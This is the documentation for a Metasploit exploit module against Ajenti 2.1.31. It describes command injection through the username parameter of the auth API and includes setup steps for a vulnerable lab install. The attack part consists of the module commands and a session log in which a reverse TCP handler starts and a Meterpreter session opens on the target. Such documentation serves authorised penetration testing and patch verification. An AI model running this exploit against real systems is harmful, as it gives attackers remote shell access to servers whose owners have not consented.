## Description

This module exploits a command injection in Ajenti == 2.1.31. By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.

## Vulnerable Application

This module has been tested with [Ajenti 2.1.31](https://pypi.org/project/ajenti-panel/2.1.31/#files)

### Setup

1. `sudo pip install ajenti-panel==2.1.31 ajenti.plugin.dashboard ajenti.plugin.settings ajenti.plugin.plugins`
2. `ajenti-panel -v`

## Verification Steps

  1. `use exploit/unix/webapp/ajenti_auth_username_cmd_injection`
  2. `set RHOSTS <rhost>`
  3. `set LHOST <lhost>`
  4. `exploit`

## Options

**RPORT**

Set this to the Ajenti port. The default is 8000.

**TARGETURI**

Set this to the Ajenti base path. The default is `/`.


## Scenarios

### Tested Ajenti 2.1.31 on Ubuntu 19.10 x64

```
msf5 > use exploit/unix/webapp/ajenti_auth_username_cmd_injection
msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > set RHOSTS 172.16.172.135
RHOSTS => 172.16.172.135
msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > set LHOST 172.16.172.1
LHOST => 172.16.172.1
msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > exploit

[*] Started reverse TCP handler on 172.16.172.1:4444
[*] Exploiting...
[*] Sending stage (53755 bytes) to 172.16.172.135
[*] Meterpreter session 1 opened (172.16.172.1:4444 -> 172.16.172.135:53170) at 2019-11-18 19:51:04 +0300

meterpreter >

```
